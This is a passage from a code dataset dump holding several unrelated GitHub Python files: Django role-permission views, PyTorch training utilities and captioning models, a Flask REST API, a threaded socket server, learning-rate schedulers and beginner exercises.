posted_role_list = request.POST.getlist('role')\n user_obj.role.set(posted_role_list)\n time.sleep(2)\n return redirect(request.get_full_path())\n\n # Save permissions belong to its role\n if request.method == 'POST' and request.POST.get('type') == 'permission':\n posted_permission_list = request.POST.getlist('permission')\n role_obj.purview.set(posted_permission_list)\n time.sleep(2)\n return redirect(request.get_full_path())\n\n # When chose a role, show all permissions belong to it,\n # otherwise to a user\n if role_obj:\n user_permission_list = [perm.id for perm in role_obj.purview.all()]\n elif user_obj:\n user_permission_list = [item['purview'] for item in user_obj.role.values('purview')]\n else:\n user_permission_list = list()\n\n # One grade menu\n all_menu_list = Menu.objects.values('id', 'title')\n all_menu_dict = dict()\n for item in all_menu_list:\n item['children'] = list()\n all_menu_dict[item['id']] = item\n\n # Second grade menu\n all_second_menu_list = Permission.objects.filter(menu__isnull=False).values('id', 'description', 'menu_id')\n all_second_menu_dict = dict()\n for s_item in all_second_menu_list:\n s_item['children'] = list()\n all_second_menu_dict[s_item['id']] = s_item\n menu_id = s_item['menu_id']\n all_menu_dict[menu_id]['children'].append(s_item)\n # all_menu_dict[menu_id] == all_menu_dict[item['id']]\n\n # All permissions which can not be menu\n all_permission_list = Permission.objects.filter(menu__isnull=True).values('id', 'description', 'related_id_id')\n for p_item in all_permission_list:\n related_id = p_item['related_id_id']\n if related_id is not None:\n all_second_menu_dict[related_id]['children'].append(p_item)\n # all_second_menu_dict[related_id] == all_second_menu_dict[s_item['id']] == s_item\n # all_menu_dict[menu_id]['children'].append(all_second_menu_dict[related_id])\n\n '''\n all_menu_list = \n '''\n\n return render(request, 'rbac/assign_permission.html', locals())\n","repo_name":"lixianwen/cmdbdemo","sub_path":"rbac/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10527,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"12434139404","text":"from matplotlib import pyplot as plt\nimport os\nimport shutil\nimport json\nimport numpy as np\nimport torch\nimport matplotlib\nmatplotlib.use('Agg')\n\n\ndef show_result(data, pred, aux_map, error_map, batch_size=10, shuffle=True): # change to any list of maps [img, depth, pred, aux_map, error_map]\n if batch_size > 4:\n if shuffle:\n sample = np.arange(batch_size)\n np.random.shuffle(sample)\n sample = sample[:4]\n else:\n sample = list(range(4))\n if aux_map is None:\n fig, axes = plt.subplots(5, 4, figsize=(20, 10))\n for i, idx in enumerate(sample):\n axes[0, i].imshow(data['img'][idx].cpu().permute(1, 2, 0))\n axes[1, i].imshow(data['depth'][idx].cpu(), cmap='jet')\n axes[2, i].imshow(pred[idx], cmap='jet')\n axes[3, i].imshow(error_map[0][idx], cmap='viridis', vmin=0, vmax=80)\n axes[4, i].imshow(error_map[1][idx], cmap='viridis', vmin=0, vmax=10)\n else:\n fig, axes = plt.subplots(6, 4, figsize=(20, 12))\n for i, idx in enumerate(sample):\n axes[0, i].imshow(data['img'][idx].cpu().permute(1, 2, 0))\n axes[1, i].imshow(data['depth'][idx].cpu(), cmap='jet')\n axes[2, i].imshow(aux_map[idx], cmap='gray')\n axes[3, i].imshow(pred[idx], cmap='jet')\n axes[4, i].imshow(error_map[0][idx], cmap='viridis', vmin=0, vmax=80)\n axes[5, i].imshow(error_map[1][idx], cmap='viridis', vmin=0, vmax=10)\n\n elif 1 < batch_size <= 4:\n sample = list(range(batch_size))\n if aux_map is None:\n fig, axes = plt.subplots(5, batch_size, figsize=(batch_size * 5, 10))\n for i, idx in enumerate(sample):\n axes[0, i].imshow(data['img'][idx].cpu().permute(1, 2, 0))\n axes[1, i].imshow(data['depth'][idx].cpu(), cmap='jet')\n axes[2, i].imshow(pred[idx], cmap='jet')\n axes[3, i].imshow(error_map[0][idx], cmap='viridis', vmin=0, vmax=80)\n axes[4, i].imshow(error_map[1][idx], cmap='viridis', vmin=0, vmax=1)\n else:\n fig, axes = plt.subplots(6, batch_size, figsize=(batch_size * 5, 12))\n for i, idx in enumerate(sample):\n axes[0, i].imshow(data['img'][idx].cpu().permute(1, 2, 0))\n axes[1, i].imshow(data['depth'][idx].cpu(), cmap='jet')\n axes[2, i].imshow(aux_map[idx], cmap='gray')\n axes[3, i].imshow(pred[idx], cmap='jet')\n axes[4, i].imshow(error_map[0][idx], cmap='viridis', vmin=0, vmax=80)\n axes[5, i].imshow(error_map[1][idx], cmap='viridis', vmin=0, vmax=1)\n\n elif batch_size == 1:\n if aux_map is None:\n fig, axes = plt.subplots(5, 1, figsize=(5, 10))\n axes[0].imshow(data['img'][0].cpu().permute(1, 2, 0))\n axes[1].imshow(data['depth'][0].cpu(), cmap='jet')\n axes[2].imshow(pred[0], cmap='jet')\n axes[3].imshow(error_map[0][0], cmap='viridis', vmin=0, vmax=80)\n axes[4].imshow(error_map[1][0], cmap='viridis', vmin=0, vmax=1)\n else:\n fig, axes = plt.subplots(6, 1, figsize=(5, 12))\n axes[0].imshow(data['img'][0].cpu().permute(1, 2, 0))\n axes[1].imshow(data['depth'][0].cpu(), cmap='jet')\n axes[2].imshow(aux_map[0], cmap='gray')\n axes[3].imshow(pred[0], cmap='jet')\n axes[4].imshow(error_map[0][0], cmap='viridis', vmin=0, vmax=80)\n axes[5].imshow(error_map[1][0], cmap='viridis', vmin=0, vmax=1)\n\n return fig\n\n\ndef save_checkpoint(state, is_best, folder_path):\n \"\"\"Saves model and training parameters at checkpoint + 'last.pth.tar'. If is_best==True, also saves\n checkpoint + 'best.pth.tar'\n\n Args:\n state: (dict) contains model's state_dict, may contain other keys such as epoch, optimizer state_dict\n is_best: (bool) True if it is the best model seen till now\n folder_path: (string) folder where parameters are to be saved\n \"\"\"\n filepath = os.path.join(folder_path, 'last.pth.tar')\n if not os.path.exists(folder_path):\n print(\"Checkpoint Directory does not exist! Making directory {}\".format(folder_path))\n os.mkdir(folder_path)\n else:\n print(\"Checkpoint Directory exists! \")\n torch.save(state, filepath)\n if is_best:\n shutil.copyfile(filepath, os.path.join(folder_path, 'best.pth.tar'))\n\n\ndef load_checkpoint(file_path, model, optimizer=None, scheduler=None):\n \"\"\"Loads model parameters (state_dict) from file_path. If optimizer is provided, loads state_dict of\n optimizer assuming it is present in checkpoint.\n\n Args:\n file_path: (string) filename which needs to be loaded\n model: (torch.nn.Module) model for which the parameters are loaded\n optimizer: (torch.optim) optional: resume optimizer from checkpoint\n \"\"\"\n if not os.path.exists(file_path):\n raise (\"File doesn't exist {}\".format(file_path))\n else:\n print('\\nLoading parameters from {}'.format(file_path))\n\n checkpoint = torch.load(file_path)\n if 'state_dict' not in checkpoint.keys():\n checkpoint['state_dict'] = checkpoint.pop('model_state')\n\n pretrained_dict = checkpoint['state_dict']\n model_dict = model.state_dict()\n # 1. filter out unnecessary keys\n pretrained_dict = {k: v for k, v in pretrained_dict.items() if\n ((k in model_dict) and (v.size() == model_dict[k].size()))}\n print('Following model parameters are loaded:\\n', pretrained_dict.keys(), '\\n')\n # 2. overwrite entries in the existing state dict\n model_dict.update(pretrained_dict)\n # 3. load the new state dict\n model.load_state_dict(model_dict)\n\n # model.load_state_dict(checkpoint['state_dict'], strict=False)\n\n if optimizer is not None:\n optimizer.load_state_dict(checkpoint['optim_dict'])\n\n if (scheduler is not None) and ('sched_dict' in checkpoint):\n scheduler.load_state_dict(checkpoint['sched_dict'])\n\n return checkpoint\n\n\ndef save_dict_to_json(d, json_path):\n \"\"\"Saves dict of floats in json file\n\n Args:\n d: (dict) of float-castable values (np.float, int, float, etc.)\n json_path: (string) path to json file\n \"\"\"\n with open(json_path, 'w') as f:\n # We need to convert the values to float for json (it doesn't accept np.array, np.float, )\n d = {k: float(v) for k, v in d.items()}\n json.dump(d, f, indent=4)\n\n\n# def restore_states(file, model, optimizer=None, scheduler=None):\n# print(\"\\nRestoring parameters from {}\".format(file))\n# load_dict = load_checkpoint(file, model, optimizer, scheduler)\n# return load_dict\n\n# if param['mode'] == checkpoint.get('mode', 'classification'):\n# load_dict = load_checkpoint(file, model, optimizer, scheduler)\n# return load_dict\n#\n# else:\n# if param['mode'] == 'classification':\n# model = net.get_model('regression')\n# elif param['mode'] == 'regression':\n# model = net.get_model('classification')\n# load_dict = load_checkpoint(file, model, optimizer, scheduler)\n# # Change last layer\n# in_channels = model.classifier[4].in_channels\n# kernel_size = model.classifier[4].kernel_size\n# if param['mode'] == 'classification':\n# model.classifier[4] = torch.nn.Conv2d(in_channels, net.K + 1, kernel_size)\n# elif param['mode'] == 'regression':\n# model.classifier[4] = torch.nn.Conv2d(in_channels, 1, kernel_size)\n# return load_dict\n\n\ndef freeze_classification(model):\n # Set ASPP layers requires_grad, backbone layers no need requires_grad\n for weight in model.parameters():\n weight.requires_grad = False\n for weight in model.reg_of_cls.parameters():\n weight.requires_grad = True\n print(\"Params to learn:\")\n for name, weight in model.named_parameters():\n if weight.requires_grad:\n print(\"\\t\", name)\n","repo_name":"eddieai/MDE_in_Snow","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20906229695","text":"# Crie um programa que tenha uma tupla totalmente preechida com uma contagem por extenso, de zero ate' vinte.\n# Seu programa devera' ler um numero pelo teclado (entre 0 e 20) e mostra'-lo por extenso.\n\nvalor = (\"zero\", \"um\", \"dois\", \"tres\", \"quatro\", \"cinco\", \"seis\", \"sete\", \"oito\", \"nove\", \"dez\", \"onze\", \"doze\", \"treze\", \"catorze\", \"quinze\", \"desasseis\", \"dezassete\", \"dezoito\", \"dezanove\", \"vinte\")\n\nwhile True:\n print(\"=\"*50)\n n = int(input(\"Digite um numero entre 0 e 20 e saiba o seu valor em extenso: \"))\n print(\"=\"*50)\n if 0 <= n <= 20:\n print(f\"Voce digitou o numero {valor[n].title()}.\")\n else:\n print(\"VALOR IRRECONHECIDO!\\nPor favor, escolha um numero entre 0 e 20.\")\n print(\"=\"*50)\n q = input(\"Deseja continuar?[S/N]: \").upper()\n print(\"=\"*50)\n while q not in \"SsnN\":\n q = input(\"Por favor, digite S para Sim ou N para Nao: \").upper()\n if q in \"nN\":\n break","repo_name":"hermyay/Curso-de-Python","sub_path":"17.tuplas_variaveis_compostas/ex072.py","file_name":"ex072.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7849841263","text":"import csv\n\nimport requests\n\n\ndef get_historical(__quote__):\n __file_name__ = \"temp.csv\"\n\n url = 'http://ichart.yahoo.com/table.csv?s=' + __quote__\n r = requests.get(url, stream=True)\n\n if r.status_code != 400:\n with open(__file_name__, 'wb') as f:\n for chunk in r:\n f.write(chunk)\n set_prev_close(__file_name__)\n return True\n\n\ndef set_prev_close(__file_name__):\n with open(__file_name__) as file:\n\n date = []\n close_price = []\n open_price = []\n high_price = []\n low_price = []\n volume = []\n\n reader = csv.DictReader(file)\n for row in reader:\n date.append(row['Date'])\n open_price.append(row['Open'])\n high_price.append(row['High'])\n low_price.append(row['Low'])\n close_price.append(row['Close'])\n volume.append(row['Volume'])\n\n with open(__file_name__, 'w') as __csv_file__:\n fieldnames = ['Date', 'Open', 'High', 'Low', 'Close Price', 'Prev Close Price', 'Volume']\n writer = csv.DictWriter(__csv_file__, fieldnames=fieldnames)\n\n writer.writeheader()\n\n for i in range(len(date) - 1):\n writer.writerow({'Date': date[i], 'Open': open_price[i], 'High': high_price[i], 'Low': low_price[i],\n 'Close Price': close_price[i], 'Prev Close Price': close_price[i + 1],\n 'Volume': volume[i]})\n return\n","repo_name":"jaiprajapati3/Stock-Market-Prediction","sub_path":"SVM/get_stock.py","file_name":"get_stock.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"5675821059","text":"valores = list()\nnpar = list()\nnimpar = list()\nwhile True:\n n = int(input('Digite um valor:'))\n valores.append(n)\n if n % 2 == 0:\n npar.append(n)\n else:\n nimpar.append(n)\n r = str(input('Quer continuar? [S/N] ')).strip().upper()\n while r not in 'SN':\n r = str(input('Opção Inválida, Quer continuar? [S/N] ')).strip().upper()\n if r in 'N':\n break\nprint(f'Os valores digitados foram {valores}')\nprint(f'Os valores Pares digitados foram {npar}')\nprint(f'Os valores Impares digitados foram {nimpar}')","repo_name":"FelipeWeiss1992/Python_Codes","sub_path":"Codigos/ex081.py","file_name":"ex081.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10315395806","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.models import resnet152, resnet101\nfrom torch.nn.utils.rnn import pack_padded_sequence\nfrom torch.nn.utils.rnn import pad_packed_sequence\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\nclass Encoder(nn.Module):\n def __init__(self, architecture='resnet152'):\n super(Encoder, self).__init__()\n self.architecture = architecture\n if architecture == 'resnet152':\n self.net = resnet152(pretrained=True)\n self.net = nn.Sequential(*list(self.net.children())[:-2])\n self.dim = 2048\n else:\n self.net = resnet101(pretrained=True)\n self.net = nn.Sequential(*list(self.net.children())[:-2])\n self.dim = 2048\n \n self.fine_tune()\n \n def forward(self, img):\n feats = self.net(img)\n feats = feats.permute(0, 2, 3, 1)\n feats = feats.view(feats.size(0), -1, feats.size(-1))\n return feats\n \n def fine_tune(self, fine_tune=False):\n\n if not fine_tune:\n for param in self.net.parameters():\n param.requires_grad = False\n\n\nclass Attention(nn.Module):\n \n def __init__(self, encoder_dim, decoder_dim, attention_dim):\n super(Attention, self).__init__()\n self.W1 = nn.Linear(encoder_dim, attention_dim)\n self.W2 = nn.Linear(decoder_dim, attention_dim)\n self.V = nn.Linear(attention_dim, 1)\n self.tanh = nn.Tanh()\n self.softmax = nn.Softmax(dim=1)\n \n def forward(self, img_feats, hidden):\n x = self.W1(img_feats)\n y = self.W2(hidden)\n x = self.V(self.tanh(x + y.unsqueeze(1))).squeeze(2)\n alphas = self.softmax(x)\n weighted_feats = (img_feats * alphas.unsqueeze(2)).sum(dim=1)\n \n return weighted_feats, alphas\n\n\nclass Generator(nn.Module):\n \n def __init__(self,\n attention_dim, \n embedding_dim, \n gru_units, \n vocab_size, \n encoder_dim=2048, \n dropout=0.5\n ):\n super(Generator, self).__init__()\n \n self.encoder_dim = encoder_dim\n self.attention_dim = attention_dim\n self.embedding_dim = embedding_dim\n self.gru_units = gru_units\n self.vocab_size = vocab_size\n self.dropout = dropout\n\n self.attention_net = Attention(encoder_dim, gru_units, attention_dim)\n self.embedding = nn.Embedding(vocab_size, embedding_dim)\n self.dropout = nn.Dropout(p=self.dropout)\n self.gru = nn.GRUCell(embedding_dim + encoder_dim, gru_units, bias=True)\n self.init_h = nn.Linear(encoder_dim, gru_units)\n self.f_beta = nn.Linear(gru_units, encoder_dim)\n self.sigmoid = nn.Sigmoid()\n self.fc = nn.Linear(gru_units, vocab_size)\n self.softmax = nn.Softmax(dim=1)\n self.relu = nn.ReLU()\n \n def init_hidden_state(self, img_feats):\n mean_img_feats = img_feats.mean(dim=1)\n hidden = self.init_h(mean_img_feats)\n hidden = self.relu(hidden)\n return hidden\n \n def forward(self, img_feats, caps, cap_lens):\n \n batch_size = img_feats.size(0)\n\n vocab_size = self.vocab_size\n\n num_pixels = img_feats.size(1)\n \n cap_lens, indices = cap_lens.sort(dim=0, descending=True)\n img_feats = img_feats[indices]\n caps = caps[indices]\n \n embeddings = self.embedding(caps)\n \n hidden_state = self.init_hidden_state(img_feats)\n\n output_lens = (cap_lens - 1).tolist()\n \n preds = torch.zeros(batch_size, caps.shape[1] - 1, vocab_size).to(device)\n alphas = torch.zeros(batch_size, caps.shape[1] - 1, num_pixels).to(device)\n \n for t in range(max(output_lens)):\n context_vec, alpha = self.attention_net(img_feats, hidden_state)\n gate = self.sigmoid(self.f_beta(hidden_state))\n context_vec = gate * context_vec\n hidden_state = self.gru(torch.cat([embeddings[:, t],\n context_vec], dim=1), hidden_state)\n \n preds[:, t] = self.fc(self.dropout(hidden_state))\n\n alphas[:, t] = alpha\n \n return preds, caps, output_lens, alphas, indices\n\n def step(self, input_word, hidden_state, img_feats):\n embeddings = self.embedding(input_word)\n context_vec, alpha = self.attention_net(img_feats, hidden_state)\n gate = self.sigmoid(self.f_beta(hidden_state))\n context_vec = gate * context_vec\n hidden_state = self.gru(torch.cat([embeddings, context_vec], dim=1), hidden_state)\n preds = self.softmax(self.fc(hidden_state))\n\n return preds, hidden_state\n\n def sample(self, cap_len, col_shape, img_feats, input_word, sampling_method='multinomial', hidden_state=None):\n\n samples = torch.zeros(input_word.shape[0], col_shape).long().to(device)\n if hidden_state is None:\n hidden_states = torch.zeros(input_word.shape[0], col_shape, self.gru_units).to(device)\n hidden_state = self.init_hidden_state(img_feats)\n samples[:, 0] = input_word\n for i in range(cap_len):\n preds, hidden_state = self.step(input_word, hidden_state, img_feats)\n\n if sampling_method == 'multinomial':\n input_word = torch.multinomial(preds, 1)\n input_word = input_word.squeeze(-1)\n else:\n input_word = torch.argmax(preds, 1)\n samples[:, i + 1] = input_word\n hidden_states[:, i] = hidden_state\n\n return samples, hidden_states\n\n else:\n for i in range(cap_len):\n preds, hidden_state = self.step(input_word, hidden_state, img_feats)\n if sampling_method == 'multinomial':\n input_word = torch.multinomial(preds, 1)\n input_word = input_word.squeeze(-1)\n else:\n input_word = torch.argmax(preds, 1)\n samples[:, i] = input_word\n\n return samples\n\n\nclass GRUDiscriminator(nn.Module):\n\n def __init__(self, embedding_dim, encoder_dim, gru_units, vocab_size):\n\n super(GRUDiscriminator, self).__init__()\n\n self.encoder_dim = encoder_dim\n self.embedding_dim = embedding_dim\n self.gru_units = gru_units\n self.vocab_size = vocab_size\n\n self.embedding = nn.Embedding(vocab_size, embedding_dim)\n self.gru = nn.GRU(input_size=embedding_dim, hidden_size=gru_units, batch_first=True)\n\n self.fc1 = nn.Linear(encoder_dim, embedding_dim)\n self.fc2 = nn.Linear(gru_units, 1)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, img_feats, caps, cap_lens):\n img_feats = img_feats.permute(0, 2, 1)\n img_feats = F.avg_pool1d(img_feats, img_feats.shape[-1]).squeeze(-1)\n img_feats = self.fc1(img_feats)\n embeddings = self.embedding(caps)\n inputs = torch.cat((img_feats.unsqueeze(1), embeddings), 1)\n inputs_packed = pack_padded_sequence(inputs, cap_lens + 1, batch_first=True, enforce_sorted=False)\n outputs, _ = self.gru(inputs_packed)\n try:\n outputs = pad_packed_sequence(outputs, batch_first=True)[0]\n except:\n print(outputs)\n print(outputs.shape)\n row_indices = torch.arange(0, caps.size(0)).long()\n last_hidden = outputs[row_indices, cap_lens, :]\n pred = self.sigmoid(self.fc2(last_hidden))\n return pred.squeeze(-1)\n","repo_name":"Anjaney1999/image-captioning-seqgan","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7672,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"67"} +{"seq_id":"4312243855","text":"import math\ndef quadratic(a, b, c):\n y = b**2 - 4*a*c\n if y > 0:\n x1 = (((-b) + math.sqrt(y))/(2*a))\n x2 = (((-b) - math.sqrt(y))/(2*a))\n print('The answers are', x1, 'and', x2)\n elif y == 0:\n x = (-b) / 2*a\n print('The answer is', x)\n else:\n print('There is no answer for this problem.')\n\nquadratic(2,4,1)\nquadratic(1,2,1)\nquadratic(10,3,11)","repo_name":"JulieZhang0102/MIS3640","sub_path":"session04/exercise1.py","file_name":"exercise1.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12919490721","text":"import main as main_file\n\n\ndef read_guide():\n with open(\"./inner_file_py/guide_user.txt\", 'r', encoding='utf-8') as file:\n guide = file.read()\n print(\"----------\"*20)\n print(guide)\n while True:\n main = input(\"Чтобы вернуться в главное меню введите да:\")\n if (main == 'да' or main == 'Да'):\n main_file.main_no_cowsay()\n","repo_name":"danila-art/DsA_connect","sub_path":"inner_file_py/read_text_file.py","file_name":"read_text_file.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21716659446","text":"from app import api, db\r\nfrom app.models.authors import Author\r\nfrom app.models.books import Book\r\nfrom app.models.schemas import AuthorSchema, CreateAuthorSchema, UpdateAuthorSchema\r\nfrom app.jwt_custom import admin_required\r\nfrom flask import request\r\nfrom flask_jwt_extended import jwt_required\r\nfrom flask_restful import Resource\r\nfrom sqlalchemy import and_\r\nfrom sqlalchemy.exc import SQLAlchemyError\r\n\r\n\r\nclass AuthorListAPI(Resource):\r\n @jwt_required\r\n def get(self):\r\n page = request.args.get('page')\r\n if page is not None and page != '0':\r\n try:\r\n page = int(page)\r\n except ValueError:\r\n return {\r\n 'message': 'Invalid page'\r\n }, 400\r\n authors = Author.query.order_by(Author.id).paginate(page, 30, False).items\r\n else:\r\n authors = Author.query.order_by(Author.id).all()\r\n if authors is None:\r\n response = {\r\n 'message': 'there are no authors'\r\n }\r\n return response, 404\r\n else:\r\n authors_schema = AuthorSchema(many=True)\r\n result = authors_schema.dumps(authors)\r\n response = {\r\n 'data': result\r\n }\r\n return response\r\n\r\n @admin_required\r\n def post(self):\r\n data = request.get_json()\r\n create_author_schema = CreateAuthorSchema()\r\n errors = create_author_schema.validate(data)\r\n if len(errors) == 0:\r\n data = create_author_schema.load(data)\r\n if Author.query.filter(and_(\r\n Author.first_name == data['first_name'], \r\n Author.middle_name == data['middle_name'],\r\n Author.last_name == data['last_name'])).first() is not None:\r\n return {\r\n \"message\": \"Author already exists!\"\r\n }, 400\r\n a = Author(\r\n first_name=data['first_name'],\r\n middle_name=data['middle_name'],\r\n last_name=data['last_name'],\r\n bio=data['bio']\r\n )\r\n if len(data['books']) > 0:\r\n books = Book.query.filter(Book.id.in_(data['books'])).all()\r\n for b in books:\r\n a.books.append(b)\r\n try:\r\n db.session.add(a)\r\n db.session.commit()\r\n\r\n except SQLAlchemyError as e:\r\n db.session.rollback()\r\n if type(e).__name__ == 'IntegrityError':\r\n response = {\r\n 'message': 'Error inserting new author: ' + e.orig.args[0],\r\n }\r\n else:\r\n response = {\r\n 'message': 'DB error: ' + e.orig.args[0]\r\n }\r\n return response, 500\r\n\r\n return \"\", 201 \r\n else:\r\n response = {\r\n 'message': 'there were errors with the author submission',\r\n 'errors': errors\r\n }\r\n return response, 400\r\n\r\n def put(self):\r\n data = request.get_json()\r\n update_author_schema = UpdateAuthorSchema(unknown='ignore')\r\n errors = update_author_schema.validate(data)\r\n if(len(errors) > 0):\r\n response = {\r\n 'message': 'there were errors with the author update',\r\n 'errors': errors\r\n }\r\n return response, 400\r\n author = Author.query.filter_by(id=data['id']).first()\r\n if author is None:\r\n response = {\r\n 'message': 'author does not exist'\r\n }\r\n return response, 404\r\n else:\r\n author.first_name = data['first_name']\r\n author.middle_name = data['middle_name']\r\n author.last_name = data['last_name']\r\n author.bio = data['bio']\r\n author.approved = data['approved']\r\n db.session.commit()\r\n return \"\", 204\r\n\r\n\r\nclass AuthorPendingListAPI(Resource):\r\n @admin_required\r\n def get(self):\r\n authors = Author.query.filter_by(approved=False).order_by(Author.id).all()\r\n if len(authors) == 0:\r\n response = {\r\n 'message': 'There are no authors'\r\n }\r\n return response, 404\r\n else:\r\n authors_schema = AuthorSchema(many=True)\r\n result = authors_schema.dumps(authors)\r\n response = {\r\n 'data': result\r\n }\r\n return response\r\n\r\n\r\nclass AuthorAPI(Resource):\r\n @jwt_required\r\n def get(self, author_id):\r\n author = Author.query.filter_by(id=author_id).first()\r\n if author is None:\r\n response = {\r\n 'message': 'author does not exist'\r\n }\r\n return response, 404\r\n else:\r\n author_schema = AuthorSchema()\r\n result = author_schema.dumps(author)\r\n response = {\r\n 'data': result\r\n }\r\n return response\r\n\r\n\r\nclass AuthorApprovalAPI(Resource):\r\n @admin_required\r\n def put(self, author_id):\r\n author = Author.query.filter_by(id=author_id).first()\r\n if author is None:\r\n response = {\r\n 'message': 'author does not exist'\r\n }\r\n return response, 404\r\n else:\r\n author.approved = True\r\n db.session.commit()\r\n return \"\", 204\r\n\r\n\r\napi.add_resource(AuthorListAPI, '/authors', endpoint='authors')\r\napi.add_resource(AuthorPendingListAPI, '/authors/pending', endpoint='authors-pending')\r\napi.add_resource(AuthorAPI, '/authors/', endpoint='author')\r\napi.add_resource(AuthorApprovalAPI, '/authors/approve/', endpoint='approve-author')\r\n","repo_name":"JVasky/flask-booktracker-api","sub_path":"app/endpoints/authors.py","file_name":"authors.py","file_ext":"py","file_size_in_byte":5918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20678214681","text":"from itertools import permutations\nfrom collections import Counter\n\ndef solution(expression):\n answer = 0\n\n operator=[]\n operand=[]\n opd=''\n for frag in expression:\n if frag in ['+','-','*']:\n operand.append(opd)\n operator.append(frag)\n opd=''\n else: opd+=frag\n operand.append(opd)\n\n opr_num=Counter(operator)\n\n for p in permutations(opr_num.keys(),len(opr_num.keys())):\n opr=operator[:]\n opd=operand[:]\n for op in p:\n for _ in range(opr_num[op]):\n idx=opr.index(op)\n ex=opd[idx]+op+opd[idx+1]\n opd.pop(idx+1)\n opr.pop(idx)\n opd[idx]=str(eval(ex))\n\n answer=max(answer,abs(int(opd[0])))\n\n\n return answer\n\nprint(solution(\"100-200*300-500+20\"))\n","repo_name":"Minoolian/Coding_Test","sub_path":"2020 카카오 인턴십/Problem_2.py","file_name":"Problem_2.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34157769646","text":"import socket\nimport threading\n\nPORT = 5050\nHEADER = 64 \nSERVER = socket.gethostbyname(socket.gethostname())\nADDR = (SERVER,PORT)\nFORMAT = 'utf-8'\nDISCONNECT_MESSAGE = \"!DISCONECT\"\n\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind(ADDR)\n\ndef handle_client(conn,addr): #handle individual connections, one client , one server\n print(f\"[NEW CONNECTION] {addr} connected.\")\n\n connected = True\n while connected:\n msg_lenght = conn.recv(HEADER).decode(FORMAT)\n if msg_lenght:\n msg_lenght = int(msg_lenght)\n msg = conn.recv(msg_lenght).decode(FORMAT)\n\n if msg == DISCONNECT_MESSAGE:\n connected = False\n\n print(f\"[{addr} {msg}\")\n\n conn.send(\"Msg recevied\".encode(FORMAT))\n conn.close()\n\ndef start(): #handle new connections and distributes it \n server.listen()\n print(f\"[LISTENING] Server is listening on {SERVER}\")\n while True:\n conn, addr = server.accept()\n thread = threading.Thread(target=handle_client, args=(conn,addr))\n thread.start()\n print(f\"[ACIVE CONNECTIONS] {threading.activeCount() -1}\")\n\n\n\nprint(\"[STARTING] server is starting ...\")\nstart()","repo_name":"Lucasamorales/Servidor-Cliente-Basico","sub_path":"Server1.py","file_name":"Server1.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13920119468","text":"import json\nimport io\n\nalle = []\nwith open(\"-f copy.txt\", encoding='utf-8') as f:\n alle = f.readlines()\nout = io.open('-f_new.txt', 'w', encoding=\"utf-8\")\nfor line in alle:\n in_as_obj = json.loads(line)\n json.dump(in_as_obj, out, ensure_ascii=False)\n out.write('\\n')\nout.close()","repo_name":"racz-doman/elastic_german_laws","sub_path":"Preprocessing/fix_encoding.py","file_name":"fix_encoding.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"587519280","text":"from torch.optim.lr_scheduler import _LRScheduler\nfrom bisect import bisect_right\n\nclass WarmUpLr(_LRScheduler):\n def __init__(\n self, \n optimizer, \n milestones,\n gamma=0.1,\n warmup_factor=0.01,\n warmup_iters=10,\n warmup_method=\"linear\",\n last_epoch=-1):\n\n self.milestones = milestones\n self.gamma = gamma\n self.warmup_factor = warmup_factor\n self.warmup_iters = warmup_iters\n self.warmup_method = warmup_method\n super().__init__(optimizer, last_epoch)\n\n def get_lr(self):\n warmup_factor = 1\n\n if self.last_epoch < self.warmup_iters:\n if self.warmup_method == 'constant':\n warmup_factor = self.warmup_factor\n elif self.warmup_method == 'linear':\n alpha = self.last_epoch / self.warmup_iters\n warmup_factor = self.warmup_factor * (1-alpha) + alpha\n\n return [base_lr * warmup_factor * self.gamma ** bisect_right(self.milestones, self.last_epoch) for base_lr in self.base_lrs]\n \n\nclass GradualWarmupScheduler(_LRScheduler):\n def __init__(self, optimizer, multiplier, total_epoch, after_scheduler=None):\n self.multiplier = multiplier\n self.total_epoch = total_epoch\n self.after_scheduler = after_scheduler\n self.finished = False\n super().__init__(optimizer)\n\n\n def get_lr(self):\n if self.last_epoch > self.total_epoch:\n if self.after_scheduler:\n if not self.finished:\n self.after_scheduler.base_lrs = [base_lr * self.multiplier for base_lr in self.base_lrs]\n self.finished = True\n return self.after_scheduler.get_lr()\n return [base_lr * self.multiplier for base_lr in self.base_lrs]\n\n return [base_lr * ((self.multiplier - 1.) * self.last_epoch / self.total_epoch + 1.) for base_lr in self.base_lrs]\n\n\n def step(self, epoch=None, metrics=None):\n if self.finished and self.after_scheduler:\n if epoch is None:\n self.after_scheduler.step(None)\n else:\n self.after_scheduler.step(epoch - self.total_epoch)\n else:\n return super(GradualWarmupScheduler, 